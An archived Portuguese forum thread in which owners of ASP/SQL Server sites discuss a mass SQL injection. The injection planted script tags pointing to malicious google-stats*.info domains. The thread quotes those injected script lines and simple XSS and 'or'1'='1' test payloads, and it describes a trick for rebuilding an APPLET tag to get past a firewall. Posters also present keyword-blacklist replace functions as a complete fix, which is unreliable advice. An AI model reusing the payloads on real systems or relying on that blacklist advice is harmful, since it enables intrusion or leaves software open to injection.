Ir para conteúdo

Arquivado

Este tópico foi arquivado e está fechado para novas respostas.

Elbrinner

Virus no site

Recommended Posts

Estou com problema em um site no qual estão introducindo codigo dentro do banco de dados.

 

Como o meu codigo esta em ASP vou colocar aqui.

 

Quase todas as tabelas e colunas faz um chamado para o virus: ////google-stats49.info/ur.php

Coloco um monte de /// para que não funcione o link, não entre porque vai contaminar o pc.

Alguem sabe aonde pode esta o problema?

obrigado

Compartilhar este post


Link para o post
Compartilhar em outros sites

Tem alguma vulnerabilidade seria seu sistema

 

Ele está já hospedado em algum lugar?

Compartilhar este post


Link para o post
Compartilhar em outros sites

verifique também o SQL inject

Compartilhar este post


Link para o post
Compartilhar em outros sites

A principio uso esta função sempre para evitar ataques com campo com formularios.

 

Private Function formataSQL(ByVal strEntry)
  Remove caracteres maliciosos
  strEntry = Replace(strEntry, "<", "<")
  strEntry = Replace(strEntry, ">", ">")
  strEntry = Replace(strEntry, """", "", 1, -1, 1)
  strEntry = Replace(strEntry, "=", "=", 1, -1, 1)
  strEntry = Replace(strEntry, "'", "''", 1, -1, 1)
  strEntry = Replace(strEntry, "select", "select", 1, -1, 1)
  strEntry = Replace(strEntry, "join", "join", 1, -1, 1)
  strEntry = Replace(strEntry, "union", "union", 1, -1, 1)
  strEntry = Replace(strEntry, "where", "where", 1, -1, 1)
  strEntry = Replace(strEntry, "insert", "insert", 1, -1, 1)
  strEntry = Replace(strEntry, "delete", "delete", 1, -1, 1)
  strEntry = Replace(strEntry, "update", "update", 1, -1, 1)
  strEntry = Replace(strEntry, "like", "like", 1, -1, 1)
  strEntry = Replace(strEntry, "drop", "drop", 1, -1, 1)
  strEntry = Replace(strEntry, "create", "create", 1, -1, 1)
  strEntry = Replace(strEntry, "modify", "modify", 1, -1, 1)
  strEntry = Replace(strEntry, "rename", "rename", 1, -1, 1)
  strEntry = Replace(strEntry, "alter", "alter", 1, -1, 1)
  'strEntry = Replace(strEntry, "cast", "cast", 1, -1, 1)
  strEntry = Replace(strEntry, "{a href=", "<a href=")
  strEntry = Replace(strEntry, "}", ">")
  strEntry = Replace(strEntry, "{/a}", "</a>")
  strEntry = Replace(strEntry, "target=_blank", "target=_blank")
  strEntry = Replace(strEntry, "{/", "</")
  
  'Retorna
  formataSQL = strEntry
End Function

 

O código foi adicionado em uma base de dados sql server.

 

Posso dizer que o mesmo problema tem varios site, buscando em google: http://www.google.es/#hl=es&biw=1024&bih=679&q=idg+ur.php&aq=f&aqi=&aql=&oq=&gs_rfai=&fp=ff77526ecf0eea9c

 

Sai uns quantos sites com o mesmo problema, a caracteristica principal é que o titulo e as descriçoes aparece o texto vermelho abaixo.

 

</title><script src=http://///google-stats50 ... ur.php

Alguns dos site estão limpando os dados um por um e já não aparece, mais olhando o cache do google se pode ver a linha do script.

 

Não descarto do virus te vindo de algum email e te robado a senha do meu banco de dados.

 

Não sei por onde começar...

 

o que quero é fechar a porta.

 

 

obrigado

Compartilhar este post


Link para o post
Compartilhar em outros sites

Acho que no laboratório de scripts tem alguns exemplos de anti-sql injetcion.

Nos artigos da imasters tem também alguns artigos falando sobre isso e como evitar (ou pelo menos diminuir isso).

Seria bom verificar e limpar o codigo malicioso nas paginas assim o problema não se repitirá.

Além é claro, da limpeza no banco de dados.

Caso use o analytics do google ou alguma das ferramentas dele, é bom informar que o site está limpo do virus, pois ele pode colocar o seu site na base de dados de sites com virus / scripts maliciosos.

 

E se o virus de alguma forma veio por e-mail e pegou a senha do seu site como disse, é bom instalar um bom anti-virus e ter seu cliente de e-mail atualizado.

Se mais alguem tem acesso ao banco de dados, também é bom rever quem tem o acesso e porque, além da mudança da senha do banco de dados por outra, mais complexa.

Compartilhar este post


Link para o post
Compartilhar em outros sites

Acho que no laboratório de scripts tem alguns exemplos de anti-sql injetcion.

Nos artigos da imasters tem também alguns artigos falando sobre isso e como evitar (ou pelo menos diminuir isso).

Seria bom verificar e limpar o codigo malicioso nas paginas assim o problema não se repitirá.

Além é claro, da limpeza no banco de dados.

Caso use o analytics do google ou alguma das ferramentas dele, é bom informar que o site está limpo do virus, pois ele pode colocar o seu site na base de dados de sites com virus / scripts maliciosos.

 

E se o virus de alguma forma veio por e-mail e pegou a senha do seu site como disse, é bom instalar um bom anti-virus e ter seu cliente de e-mail atualizado.

Se mais alguem tem acesso ao banco de dados, também é bom rever quem tem o acesso e porque, além da mudança da senha do banco de dados por outra, mais complexa.

 

 

 

Pelo o que eu estou vendo o ataque veio por XSS, eu uso muitas variaveis querystring e nesse caso não comprovo o seu valor.

 

Pelo o que estive lendo e pela forma que apresenta o codigo deve ter vindo de ai.

 

Achei isso na net:

 

[font=monospace]<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">[/font]<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>Bienvenidos a <?php echo $_GET['title']; ?></title>
</head>
<body>
</body>
 
[font=monospace]</html>[/font]

 

[font=monospace]teste.asp?title=</title><script>alert("¡Exemplo de codigo...!")</script>[/font]

 

Vou trocar as senhas, mais tenho arquivos que se actualiza por ajax, mais sempre confiro a sessão asp antes de enviar...

 

 

Ainda estou estudando todos os erros...

 

 

Vou verificar se os dados estao vindo do mesmo dominio antes de enviar a informaçao.

 

Agora mesmo não sei se o problema veio atraves do meu pc ou erro de seguridade XSS.

Compartilhar este post


Link para o post
Compartilhar em outros sites

quem é responsavél pelo server, ou você esta execuntando no localhost

Compartilhar este post


Link para o post
Compartilhar em outros sites

quem é responsavél pelo server, ou você esta execuntando no localhost

 

 

É um servidor grande... não esta em localhost

 

 

 

Atraves da forma de passar valores pela url é possivel conseguir adicionar dados no bd?

Compartilhar este post


Link para o post
Compartilhar em outros sites

É possivel sim, inserir codigo malicioso via querystring.

Caso ingles nao seja problema, segue um link que fala um pouco sobre as tecnicas de sql injetcion: http://www.4guysfromrolla.com/webtech/061902-1.shtml

Nele tem alguns links de assuntos relacionados.

Aqui: http://www.google.com.br/search?hl=pt-BR&rlz=1G1GGLQ_PT-BRBR324&q=sql+injection+querystring&aq=f&aqi=&aql=&oq=&gs_rfai=

tem mais resultados sobre esse assunto.

Compartilhar este post


Link para o post
Compartilhar em outros sites

É possivel sim, inserir codigo malicioso via querystring.

Caso ingles nao seja problema, segue um link que fala um pouco sobre as tecnicas de sql injetcion: http://www.4guysfrom.../061902-1.shtml

Nele tem alguns links de assuntos relacionados.

Aqui: http://www.google.co...l=&oq=&gs_rfai=

tem mais resultados sobre esse assunto.

 

Vou da uma olhada, muito obrigado pela atenção.

Compartilhar este post


Link para o post
Compartilhar em outros sites

sugiro também que entre em contato com o host, para verificar se esta tudo configurado corretamente e as atualizações feitas

Compartilhar este post


Link para o post
Compartilhar em outros sites

Boa tarde pessoal,

 

também estou sofrendo com estes ataques desde 21/9.

Limpei o código <script src=http://google-stats50.info/ur.php></script> no mesmo dia do primeiro ataque;

 

no dia seguinte colocaram <script src=http://google-stats49.info/ur.php></script>

 

Em todas as pastas que acessam o administrador de conteúdo opção "diretório protegido" do painel "plesk" além disso...

Corrigi falhas nos formulários e nos comandos request.querystrings no dia 29/09, tive paz até hoje 28/09 de tarde :( .

Variavel = replace(Variavel,"'","")

Variavel = replace(Variavel,"#","")

Variavel = replace(Variavel,"$","")

Variavel = replace(Variavel,"%","")

Variavel = replace(Variavel,"¨","")

Variavel = replace(Variavel,"&","")

Variavel = replace(Variavel,"'or'1'='1'","")

Variavel = replace(Variavel,"--","")

Variavel = replace(Variavel,"insert","")

Variavel = replace(Variavel,"drop","")

Variavel = replace(Variavel,"delet","")

Variavel = replace(Variavel,"xp_","")

Variavel = replace(Variavel,"select","")

Variavel = replace(Variavel,"*","")

Variavel = replace(Variavel,"(","")

Variavel = replace(Variavel,")","")

---------------------------------------------------

 

Pelo que percebi nos sites que também foram invadidos eles tem isso em comun:

Banco SQLSERVER programação em ASP

 

Pesquisei sobre o domínio utilizado para hospedar o virus e vi que forma registrados diversos dominios..

http://google-stats47.info

http://google-stats49.info (3 ataque que estou sofrendo)

http://google-stats48.info (2 ataque que sofri)

http://google-stats50.info (1 ataque que sofri)

http://google-stats30.info

----------------------------------------------------

 

Não sei mais o que fazer.

Compartilhar este post


Link para o post
Compartilhar em outros sites

Pessoal descobri uma falha em 1 arquivo e corrigi. Até agora nao fui atacado.

 

Caso alguem esteja com este problema, verifique minuciosamente cada arquivo.

 

Abs

 

Eu fui atacado de novo de ontem para hoje... pelo o que estou entendendo o ataque tem que vim do site normal aonde não existem sessão por querystring...

Compartilhar este post


Link para o post
Compartilhar em outros sites

e o que seu host alega sobre isso?!?!?1

Compartilhar este post


Link para o post
Compartilhar em outros sites

Eles falaram que foi um ataque atraves da programação... e pelo jeito foi mesmo.

 

 

Estou fazendo teste passando valores como:

 

'><script>alert("teste")</script>

E tentando que o mesmo não seja executado...

 

Acho que criando uma página para erro personalizada tambem ajuda por não mostrar o erro e nenhuma informação que possa ajudar.

 

Achei um site muito legal em ingles... vou ver se encontro o link e coloco aqui.

 

Pelo jeito tem comando de sql server que retorna o numero de colunas e etc da tabela...

Compartilhar este post


Link para o post
Compartilhar em outros sites

Pessoal, o meu problema foi resolvido mesmo. Não sofri nenhum ataque desde a última postagem que fiz aqui.

 

Deem uma olhada neste video e depois observem seus sites.

 

 

Ontem eu vi um melhor que este, mas nao o encontrei.

 

Façam o seguinte.

 

1º Criem uma funcao com um replace de todos os caracters e comandos possíveis:

Ex.: NomedaFuncao = Replace(NomedaFuncao, "'", "")

 

2º Aplique a funcao criada em todos os request:

Ex.: NomedaFuncao(request.Form("Formulario"))

NomedaFuncao(request.QueryString("Parametro"))

 

Isso vai resolver

 

Estou acessando este post periodicamente para ajudar quem ainda está com este problema.

O Cracker que fez isso não sabe o trabalho que me deu com isso. rs

O único ponto positivo disso td é que vi que meus sites tinham falhas.

 

Abs para todos e boa sorte!!

Compartilhar este post


Link para o post
Compartilhar em outros sites

e o ataque é por Javascript???

 

 

Muitos dos problemas de segurança criados a partir da linguagem Javascript não podem ser explorados diretamente, isto é, necessitam da interação com o usuário. Como a maioria dos usuários não sabe dos perigos implícitos neste tipo de tecnologia, os ataques se tornam fáceis de serem executados, pois os usuários oferecem toda a ajuda possível. Por exemplo: muitos ataques requerem que os usuários apertem botões que aparecem em caixas de diálogos para que o código hostil seja ativado. Uma trapaça comum é construir uma caixa de diálogo para que o usuário pressione um botão, sendo que a mensagem mostrada na tela é a mais simples possível, como "Click OK para continuar". Na caixa de diálogo existe somente um botão chamado "OK". Usuários ingênuos apertam o botão ativando o ataque. Como exemplos de ataques pode-se citar:

 

Javascript pode ser usado para rastrear todos os "sites" visitados por um usuário sem o seu conhecimento, reportando as informações para o atacante;

 

O usuário pode ingenuamente enviar arquivos via correio eletrônico para o atacante apertando um botão de confirmação que aparece na tela do Browser;

 

JavaScript pode ser usado para montar ataques em sistemas que bloqueiam a entrada de Applets Java. Por exemplo: muitas Firewalls evitam a entrada de Applets Java removendo qualquer código existente entre os marcadores (Tags) <APPLET> e </APPLET> de um documento HTML. Entretanto, JavaScript pode ser usado para recriar um marcador <APPLET> no código fonte da página HTML que está sendo recebida. Outra maneira de realizar o mesmo ataque seria desenvolver uma página HTML com o seguinte marcador (Tag) </%41pplet>, sendo o código JavaScript usado para modificar o marcador para </Applet> logo após o recebimento da página.

Compartilhar este post


Link para o post
Compartilhar em outros sites

Pessoal, o meu problema foi resolvido mesmo. Não sofri nenhum ataque desde a última postagem que fiz aqui.

 

Deem uma olhada neste video e depois observem seus sites.

 

 

Ontem eu vi um melhor que este, mas nao o encontrei.

 

Façam o seguinte.

 

1º Criem uma funcao com um replace de todos os caracters e comandos possíveis:

Ex.: NomedaFuncao = Replace(NomedaFuncao, "'", "")

 

2º Aplique a funcao criada em todos os request:

Ex.: NomedaFuncao(request.Form("Formulario"))

NomedaFuncao(request.QueryString("Parametro"))

 

Isso vai resolver

 

Estou acessando este post periodicamente para ajudar quem ainda está com este problema.

O Cracker que fez isso não sabe o trabalho que me deu com isso. rs

O único ponto positivo disso td é que vi que meus sites tinham falhas.

 

Abs para todos e boa sorte!!

 

 

Obrigado por compartir.

Compartilhar este post


Link para o post
Compartilhar em outros sites

×

Informação importante

Ao usar o fórum, você concorda com nossos Termos e condições.